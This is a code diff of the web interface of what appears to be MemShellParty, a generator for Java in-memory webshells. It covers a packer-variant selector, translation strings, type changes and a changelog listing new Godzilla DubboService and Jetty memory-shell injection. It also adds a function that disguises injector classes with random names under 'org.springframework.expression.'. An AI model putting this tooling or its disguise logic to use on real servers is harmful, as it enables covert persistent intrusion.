const active = isParentActive(parent);
const hasChildren = parent.children.length > 0;
return (
<ListItem
key={parent.name}
label={t(parent.name)}
active={active}
onClick={() => selectParent(parent)}
trailing={
hasChildren ? (
<span className="flex items-center gap-1.5">
<Badge
variant={active ? "secondary" : "outline"}
className="h-5 px-1.5 text-[11px] tabular-nums"
>
{parent.children.length}
</Badge>
<ChevronRight className="size-4 shrink-0 opacity-70" aria-hidden="true" />
</span>
) : undefined
}
/>
);
})}
</div>
</ScrollArea>
</section>
<section className="flex flex-col">
<div className="mb-2 text-xs font-medium tracking-wide text-muted-foreground uppercase">
{t("packerMode.variant")}
</div>
<ScrollArea className="h-64 rounded-md border">
{activeParent && activeParent.children.length > 0 ? (
<div
role="radiogroup"
aria-label={t("packerMode.variant")}
className="flex flex-col gap-0.5 p-1.5"
>
{activeParent.children.map((child) => (
<ListItem
key={child}
label={t(child)}
active={value === child}
onClick={() => onChange(child)}
/>
))}
</div>
) : (
<div className="flex h-64 flex-col items-center justify-center gap-2 px-6 text-center text-sm text-muted-foreground">
<Check className="size-6 text-primary" aria-hidden="true" />
<span>
<span className="font-medium text-foreground">{t(activeParent?.name ?? "")}</span>{" "}
{t("packerMode.noVariants")}
</span>
</div>
)}
</ScrollArea>
</section>
</div>
</div>
);
}
@@ -1,19 +1,13 @@
import type { PackerConfig } from "@/types/memshell"; import type { PackerConfig, PackerOption } from "@/types/memshell";
import type { ProbeShellFormSchema } from "@/types/schema"; import type { ProbeShellFormSchema } from "@/types/schema";
import { PackageIcon } from "lucide-react"; import { PackageIcon } from "lucide-react";
import { useEffect, useState } from "react"; import { useMemo } from "react";
import { Controller, type UseFormReturn } from "react-hook-form"; import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next"; import { useTranslation } from "react-i18next";
import PackerSelector from "@/components/packer-selector";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { FieldLabel } from "@/components/ui/field";
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
type Option = {
name: string;
value: string;
};
export default function PackageConfigCard({ export default function PackageConfigCard({
packerConfig, packerConfig,
@@ -22,31 +16,17 @@ export default function PackageConfigCard({
packerConfig: PackerConfig | undefined; packerConfig: PackerConfig | undefined;
form: UseFormReturn<ProbeShellFormSchema>; form: UseFormReturn<ProbeShellFormSchema>;
}>) { }>) {
const [options, setOptions] = useState<Array<Option>>([]);
const { t } = useTranslation("common"); const { t } = useTranslation("common");
useEffect(() => { const parents = useMemo<PackerOption[]>(() => {
const filteredOptions = (packerConfig ?? []).filter((name) => { return (packerConfig ?? []).filter(({ name }) => {
return ( return (
!name.startsWith("Agent") && !name.startsWith("Agent") &&
!name.toLowerCase().startsWith("xxl") && !name.toLowerCase().startsWith("xxl") &&
!name.toLowerCase().endsWith("jar") !name.toLowerCase().endsWith("jar")
); );
}); });
}, [packerConfig]);
const mappedOptions = filteredOptions.map((name) => {
return {
name: name,
value: name,
};
});
setOptions(mappedOptions);
const currentValue = form.getValues("packingMethod");
if (filteredOptions.length > 0 && (!currentValue || !filteredOptions.includes(currentValue))) {
form.setValue("packingMethod", filteredOptions[0]);
}
}, [form, packerConfig]);
return ( return (
<Card className="w-full"> <Card className="w-full">
@@ -57,32 +37,12 @@ export default function PackageConfigCard({
</CardTitle> </CardTitle>
</CardHeader> </CardHeader>
<CardContent> <CardContent>
{options.length > 0 ? ( {parents.length > 0 ? (
<Controller <Controller
control={form.control} control={form.control}
name="packingMethod" name="packingMethod"
render={({ field }) => ( render={({ field }) => (
<div className="space-y-3"> <PackerSelector parents={parents} value={field.value} onChange={field.onChange} />
<FieldLabel>{t("packerMethod")}</FieldLabel>
<div>
<RadioGroup
onValueChange={field.onChange}
value={field.value}
className="grid grid-cols-2 md:grid-cols-3"
>
{options.map(({ name, value }) => (
<div key={value} className="flex items-center space-x-3">
<div>
<RadioGroupItem value={value} id={value} />
</div>
<FieldLabel className="text-xs" htmlFor={value}>
{name}
</FieldLabel>
</div>
))}
</RadioGroup>
</div>
</div>
)} )}
/> />
) : ( ) : (
@@ -6,17 +6,14 @@ import { QuickUsage } from "@/components/probeshell/quick-usage";
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs"; import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
import CodeViewer from "../code-viewer"; import CodeViewer from "../code-viewer";
import { MultiPackResult } from "../memshell/results/multi-packer";
import { BasicInfo } from "./basic-info"; import { BasicInfo } from "./basic-info";
export default function ShellResult({ export default function ShellResult({
packResult, packResult,
allPackResults,
packMethod, packMethod,
generateResult, generateResult,
}: Readonly<{ }: Readonly<{
packResult: string | undefined; packResult: string | undefined;
allPackResults: Map<string, string> | undefined;
packMethod: string; packMethod: string;
generateResult?: ProbeShellResult; generateResult?: ProbeShellResult;
}>) { }>) {
@@ -33,14 +30,6 @@ export default function ShellResult({
</TabsList> </TabsList>
<TabsContent value="packResult" className="space-y-2"> <TabsContent value="packResult" className="space-y-2">
<BasicInfo generateResult={generateResult} /> <BasicInfo generateResult={generateResult} />
{allPackResults && (
<MultiPackResult
allPackResults={allPackResults}
shellClassName={generateResult?.shellClassName}
packMethod={packMethod}
height={height}
/>
)}
{packResult && ( {packResult && (
<CodeViewer <CodeViewer
code={packResult} code={packResult}
+53
View File
@@ -0,0 +1,53 @@
import * as React from "react"
import { ScrollArea as ScrollAreaPrimitive } from "@base-ui/react/scroll-area"
import { cn } from "@/lib/utils"
function ScrollArea({
className,
children,
...props
}: ScrollAreaPrimitive.Root.Props) {
return (
<ScrollAreaPrimitive.Root
data-slot="scroll-area"
className={cn("relative", className)}
{...props}
>
<ScrollAreaPrimitive.Viewport
data-slot="scroll-area-viewport"
className="size-full rounded-[inherit] transition-[color,box-shadow] outline-none focus-visible:ring-[3px] focus-visible:ring-ring/50 focus-visible:outline-1"
>
{children}
</ScrollAreaPrimitive.Viewport>
<ScrollBar />
<ScrollAreaPrimitive.Corner />
</ScrollAreaPrimitive.Root>
)
}
function ScrollBar({
className,
orientation = "vertical",
...props
}: ScrollAreaPrimitive.Scrollbar.Props) {
return (
<ScrollAreaPrimitive.Scrollbar
data-slot="scroll-area-scrollbar"
data-orientation={orientation}
orientation={orientation}
className={cn(
"flex touch-none p-px transition-colors select-none data-horizontal:h-2.5 data-horizontal:flex-col data-horizontal:border-t data-horizontal:border-t-transparent data-vertical:h-full data-vertical:w-2.5 data-vertical:border-l data-vertical:border-l-transparent",
className
)}
{...props}
>
<ScrollAreaPrimitive.Thumb
data-slot="scroll-area-thumb"
className="relative flex-1 rounded-full bg-border"
/>
</ScrollAreaPrimitive.Scrollbar>
)
}
export { ScrollArea, ScrollBar }
+7
View File
@@ -22,6 +22,13 @@
"optional": "(Optional)", "optional": "(Optional)",
"packerConfig.title": "Package Config", "packerConfig.title": "Package Config",
"packerMethod": "Package Method", "packerMethod": "Package Method",
"packerMode.default": "Default",
"packerMode.advanced": "Advanced",
"packerMode.defaultDesc": "Pick a packing method; it packs all of its variants at once.",
"packerMode.advancedDesc": "Pick a category, then choose a specific variant.",
"packerMode.category": "Category",
"packerMode.variant": "Variant",
"packerMode.noVariants": "has no variants — selection complete.",
"paramName": "ParamName", "paramName": "ParamName",
"paramName.description": "Supports passing values via request parameter (param) or request header (header)", "paramName.description": "Supports passing values via request parameter (param) or request header (header)",
"placeholders.input": "Please input", "placeholders.input": "Please input",
+7
View File
@@ -22,6 +22,13 @@
"optional": "(可选)", "optional": "(可选)",
"packerConfig.title": "打包配置", "packerConfig.title": "打包配置",
"packerMethod": "打包方式", "packerMethod": "打包方式",
"packerMode.default": "默认模式",
"packerMode.advanced": "进阶模式",
"packerMode.defaultDesc": "选择打包方式,将一次性生成其所有子变体。",
"packerMode.advancedDesc": "先选择左侧分类,再挑选具体的子变体。",
"packerMode.category": "分类",
"packerMode.variant": "变体",
"packerMode.noVariants": "无子变体,已完成选择。",
"paramName": "参数名称", "paramName": "参数名称",
"paramName.description": "支持请求参数 param 或请求头 header 传值", "paramName.description": "支持请求参数 param 或请求头 header 传值",
"placeholders.input": "请输入", "placeholders.input": "请输入",
+1 -4
View File
@@ -69,7 +69,7 @@ const fetchServerConfig = () => fetchJson<ServerConfig>(`${env.API_URL}/api/conf
const fetchMainConfig = () => fetchJson<MainConfig>(`${env.API_URL}/api/config`); const fetchMainConfig = () => fetchJson<MainConfig>(`${env.API_URL}/api/config`);
const fetchPackerConfig = () => fetchJson<PackerConfig>(`${env.API_URL}/api/config/packers`); const fetchPackerConfig = () => fetchJson<PackerConfig>(`${env.API_URL}/api/config/packers/tree`);
export default function MemShellPage() { export default function MemShellPage() {
const { data: serverConfig } = useQuery<ServerConfig>({ const { data: serverConfig } = useQuery<ServerConfig>({
@@ -94,7 +94,6 @@ export default function MemShellPage() {
}); });
const [packResult, setPackResult] = useState<string | undefined>(); const [packResult, setPackResult] = useState<string | undefined>();
const [allPackResults, setAllPackResults] = useState<Map<string, string> | undefined>();
const [generateResult, setGenerateResult] = useState<MemShellResult>(); const [generateResult, setGenerateResult] = useState<MemShellResult>();
const [packMethod, setPackMethod] = useState<string>(""); const [packMethod, setPackMethod] = useState<string>("");
const submitLockRef = useRef(false); const submitLockRef = useRef(false);
@@ -118,7 +117,6 @@ export default function MemShellPage() {
const result = (await response.json()) as MemShellGenerateResponse; const result = (await response.json()) as MemShellGenerateResponse;
setGenerateResult(result.memShellResult); setGenerateResult(result.memShellResult);
setPackResult(result.packResult); setPackResult(result.packResult);
setAllPackResults(result.allPackResults);
setPackMethod(data.packingMethod); setPackMethod(data.packingMethod);
toast.success(t("toast.generateSuccess")); toast.success(t("toast.generateSuccess"));
} catch (error) { } catch (error) {
@@ -163,7 +161,6 @@ export default function MemShellPage() {
packMethod={packMethod} packMethod={packMethod}
generateResult={generateResult} generateResult={generateResult}
packResult={packResult} packResult={packResult}
allPackResults={allPackResults}
/> />
</div> </div>
</form> </form>
+1 -4
View File
@@ -36,7 +36,7 @@ export default function ProbeShellGenerator() {
const { data: packerConfig } = useQuery<PackerConfig>({ const { data: packerConfig } = useQuery<PackerConfig>({
queryKey: ["packerConfig"], queryKey: ["packerConfig"],
queryFn: async () => { queryFn: async () => {
const response = await fetch(`${env.API_URL}/api/config/packers`); const response = await fetch(`${env.API_URL}/api/config/packers/tree`);
return await response.json(); return await response.json();
}, },
}); });
@@ -62,7 +62,6 @@ export default function ProbeShellGenerator() {
}); });
const [packResult, setPackResult] = useState<string | undefined>(); const [packResult, setPackResult] = useState<string | undefined>();
const [allPackResults, setAllPackResults] = useState<Map<string, string> | undefined>();
const [generateResult, setGenerateResult] = useState<ProbeShellResult>(); const [generateResult, setGenerateResult] = useState<ProbeShellResult>();
const [packMethod, setPackMethod] = useState<string>(""); const [packMethod, setPackMethod] = useState<string>("");
const submitLockRef = useRef(false); const submitLockRef = useRef(false);
@@ -90,7 +89,6 @@ export default function ProbeShellGenerator() {
const result = (await response.json()) as ProbeShellGenerateResponse; const result = (await response.json()) as ProbeShellGenerateResponse;
setGenerateResult(result.probeShellResult); setGenerateResult(result.probeShellResult);
setPackResult(result.packResult); setPackResult(result.packResult);
setAllPackResults(result.allPackResults);
setPackMethod(data.packingMethod); setPackMethod(data.packingMethod);
toast.success(t("toast.generateSuccess")); toast.success(t("toast.generateSuccess"));
} catch (error) { } catch (error) {
@@ -120,7 +118,6 @@ export default function ProbeShellGenerator() {
packMethod={packMethod} packMethod={packMethod}
generateResult={generateResult} generateResult={generateResult}
packResult={packResult} packResult={packResult}
allPackResults={allPackResults}
/> />
</div> </div>
</form> </form>
+6 -2
View File
@@ -98,12 +98,16 @@ export interface MainConfig {
}; };
} }
export type PackerConfig = Array<string>; export interface PackerOption {
name: string;
children: string[];
}
export type PackerConfig = Array<PackerOption>;
export interface MemShellGenerateResponse { export interface MemShellGenerateResponse {
memShellResult: MemShellResult; memShellResult: MemShellResult;
packResult?: string; packResult?: string;
allPackResults?: Map<string, string>;
} }
export interface APIErrorResponse { export interface APIErrorResponse {
-1
View File
@@ -55,7 +55,6 @@ export interface PayloadFormValues {
export interface ProbeShellGenerateResponse { export interface ProbeShellGenerateResponse {
probeShellResult: ProbeShellResult; probeShellResult: ProbeShellResult;
packResult?: string; packResult?: string;
allPackResults?: Map<string, string>;
} }
export interface ProbeShellResult { export interface ProbeShellResult {
+35 -1
View File
@@ -2,6 +2,38 @@ import type { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/memsh
import type { ProbeConfig, ProbeContentConfig } from "@/types/probeshell"; import type { ProbeConfig, ProbeContentConfig } from "@/types/probeshell";
import type { MemShellFormSchema, ProbeShellFormSchema } from "@/types/schema"; import type { MemShellFormSchema, ProbeShellFormSchema } from "@/types/schema";
const SPRING_GZIP_JDK17_RELATED_PACKERS = new Set([
"SpEL",
"SpELSpringGzipJDK17",
"OGNL",
"OGNLSpringGzipJDK17",
"JXPath",
"JXPathSpringGzipJDK17",
]);
const UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
const CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
function getRandomIndex(max: number) {
if (globalThis.crypto?.getRandomValues) {
return globalThis.crypto.getRandomValues(new Uint32Array(1))[0] % max;
}
return Math.floor(Math.random() * max);
}
function getRandomChar(chars: string) {
return chars[getRandomIndex(chars.length)];
}
function generateSpringExpressionInjectorClassName() {
const randomName = Array.from({ length: 5 }, () => getRandomChar(CLASS_NAME_LETTERS)).join("");
return `org.springframework.expression.${getRandomChar(UPPERCASE_LETTERS)}${randomName}Util`;
}
function isSpringGzipJdk17RelatedPacker(packer: string) {
return SPRING_GZIP_JDK17_RELATED_PACKERS.has(packer);
}
export function transformToPostData(formValue: MemShellFormSchema) { export function transformToPostData(formValue: MemShellFormSchema) {
const shellConfig: ShellConfig = { const shellConfig: ShellConfig = {
server: formValue.server, server: formValue.server,
@@ -32,7 +64,9 @@ export function transformToPostData(formValue: MemShellFormSchema) {
const injectorConfig: InjectorConfig = { const injectorConfig: InjectorConfig = {
urlPattern: formValue.urlPattern, urlPattern: formValue.urlPattern,
injectorClassName: formValue.injectorClassName, injectorClassName: isSpringGzipJdk17RelatedPacker(formValue.packingMethod)
? generateSpringExpressionInjectorClassName()
: formValue.injectorClassName,
staticInitialize: formValue.staticInitialize, staticInitialize: formValue.staticInitialize,
}; };
return { return {
+562 -310
View File
File diff suppressed because it is too large Load Diff
+20
View File
@@ -8,6 +8,26 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v2.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.8.0) - 2026-06-13
### Added
1. 新增对 [Winstone-Jetty](https://github.com/jenkinsci/winstone)Jenkins 2.491.1)和 [Geronimo-Jetty](https://github.com/apache/geronim)Jetty 7.1 上下文采集注入(Thanks @su18
2. 新增 Godzilla DubboService 内存马注入,默认使用 XOR_Base64(仅支持特战版,Thanks @ReaJason
3. (UI)支持选取具体的打包方式
4. (UI)当选择 SpringGzipJDK17 的打包方式时自动将注入器类名为 org.springframework.expression. 开头的随机生成类名
### Fixed
1. 修复 Jetty 7.1.6 回显马找不到 request/response 导致回显失败
### Changed
1. boot 使用 SpringBoot 4.1.0 版本 + Dockerfile 中默认 jre21
2. 依赖更新
**Full Changelog:** [v2.7.2...v2.8.0](https://github.com/ReaJason/MemShellParty/compare/v2.7.2...v2.8.0)
## [v2.7.2](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.2) - 2026-05-24 ## [v2.7.2](https://github.com/ReaJason/MemShellParty/releases/tag/v2.7.2) - 2026-05-24
### Fixed ### Fixed
+24 -24
View File
@@ -14,29 +14,29 @@
"fmt:check": "oxfmt --check" "fmt:check": "oxfmt --check"
}, },
"dependencies": { "dependencies": {
"@base-ui/react": "^1.5.0", "@base-ui/react": "^1.6.0",
"@hookform/resolvers": "^5.4.0", "@hookform/resolvers": "^5.4.0",
"@orama/orama": "^3.1.18", "@orama/orama": "^3.1.18",
"@orama/stopwords": "^3.1.18", "@orama/stopwords": "^3.1.18",
"@orama/tokenizers": "^3.1.18", "@orama/tokenizers": "^3.1.18",
"@react-router/node": "^7.15.1", "@react-router/node": "^7.15.1",
"@tanstack/react-query": "^5.100.14", "@tanstack/react-query": "^5.101.2",
"class-variance-authority": "^0.7.1", "class-variance-authority": "^0.7.1",
"clsx": "^2.1.1", "clsx": "^2.1.1",
"framer-motion": "^12.40.0", "framer-motion": "^12.42.0",
"fumadocs-core": "^16.9.1", "fumadocs-core": "^16.10.6",
"fumadocs-mdx": "15.0.8", "fumadocs-mdx": "15.0.12",
"fumadocs-ui": "16.9.1", "fumadocs-ui": "16.10.5",
"i18next": "^26.2.0", "i18next": "^26.3.3",
"isbot": "^5.1.40", "isbot": "^5.1.44",
"lucide-react": "^1.16.0", "lucide-react": "^1.21.0",
"motion": "^12.40.0", "motion": "^12.42.0",
"react": "^19.2.6", "react": "^19.2.7",
"react-copy-to-clipboard": "^5.1.1", "react-copy-to-clipboard": "^5.1.1",
"react-dom": "^19.2.6", "react-dom": "^19.2.7",
"react-hook-form": "^7.76.1", "react-hook-form": "^7.80.0",
"react-i18next": "^17.0.8", "react-i18next": "^17.0.8",
"react-medium-image-zoom": "^5.4.5", "react-medium-image-zoom": "^5.4.8",
"react-syntax-highlighter": "^16.1.1", "react-syntax-highlighter": "^16.1.1",
"sonner": "^2.0.7", "sonner": "^2.0.7",
"tailwind-merge": "^3.6.0", "tailwind-merge": "^3.6.0",
@@ -45,22 +45,22 @@
}, },
"devDependencies": { "devDependencies": {
"@react-router/dev": "^7.15.1", "@react-router/dev": "^7.15.1",
"@tailwindcss/vite": "^4.3.0", "@tailwindcss/vite": "^4.3.1",
"@types/mdx": "^2.0.13", "@types/mdx": "^2.0.14",
"@types/node": "^25.9.1", "@types/node": "^26.0.1",
"@types/react": "^19.2.15", "@types/react": "^19.2.17",
"@types/react-copy-to-clipboard": "^5.0.7", "@types/react-copy-to-clipboard": "^5.0.7",
"@types/react-dom": "^19.2.3", "@types/react-dom": "^19.2.3",
"@types/react-syntax-highlighter": "^15.5.13", "@types/react-syntax-highlighter": "^15.5.13",
"baseline-browser-mapping": "^2.10.32", "baseline-browser-mapping": "^2.10.40",
"oxfmt": "^0.51.0", "oxfmt": "^0.56.0",
"oxlint": "^1.66.0", "oxlint": "^1.71.0",
"react-router-devtools": "^6.2.0", "react-router-devtools": "^6.2.1",
"rimraf": "^6.1.3", "rimraf": "^6.1.3",
"serve": "^14.2.6", "serve": "^14.2.6",
"tailwindcss": "^4.3.0", "tailwindcss": "^4.3.1",
"typescript": "^6.0.3", "typescript": "^6.0.3",
"vite": "^8.0.14", "vite": "^8.1.0",
"vite-plugin-devtools-json": "^1.0.0", "vite-plugin-devtools-json": "^1.0.0",
"vite-tsconfig-paths": "^6.1.1" "vite-tsconfig-paths": "^6.1.1"
} }
-3
View File
@@ -9,9 +9,6 @@ const getUrl = createGetUrl("/docs");
export default { export default {
basename: env.VITE_APP_BASE_PATH, basename: env.VITE_APP_BASE_PATH,
ssr: false, ssr: false,
future: {
v8_middleware: true,
},
async prerender({ getStaticPaths }) { async prerender({ getStaticPaths }) {
const paths: string[] = []; const paths: string[] = [];
const excluded: string[] = []; const excluded: string[] = [];
+20 -16
View File
@@ -2,25 +2,29 @@ import { reactRouter } from "@react-router/dev/vite";
import tailwindcss from "@tailwindcss/vite"; import tailwindcss from "@tailwindcss/vite";
import mdx from "fumadocs-mdx/vite"; import mdx from "fumadocs-mdx/vite";
import path from "node:path"; import path from "node:path";
import { env } from "node:process"; import { defineConfig, loadEnv } from "vite";
import { defineConfig } from "vite";
import devtoolsJson from "vite-plugin-devtools-json"; import devtoolsJson from "vite-plugin-devtools-json";
import * as MdxConfig from "./source.config"; import * as MdxConfig from "./source.config";
const isDev = env.NODE_ENV === "development"; export default defineConfig(({ command, mode }) => {
export default defineConfig({ const env = loadEnv(mode, process.cwd(), "VITE_APP_");
base: isDev ? "/" : `${env.VITE_APP_API_URL}/`, const isDev = command === "serve";
plugins: [mdx(MdxConfig), tailwindcss(), reactRouter(), devtoolsJson()], const contextPath = env.VITE_APP_API_URL?.trim() ?? "";
resolve: {
tsconfigPaths: true, return {
alias: { base: isDev || !contextPath ? "/" : `${contextPath}/`,
"@": path.resolve(__dirname, "./app"), plugins: [mdx(MdxConfig), tailwindcss(), reactRouter(), devtoolsJson()],
...(!isDev resolve: {
? { tsconfigPaths: true,
"react-dom/server": "react-dom/server.node", alias: {
} "@": path.resolve(__dirname, "./app"),
: {}), ...(!isDev
? {
"react-dom/server": "react-dom/server.node",
}
: {}),
},
}, },
}, };
}); });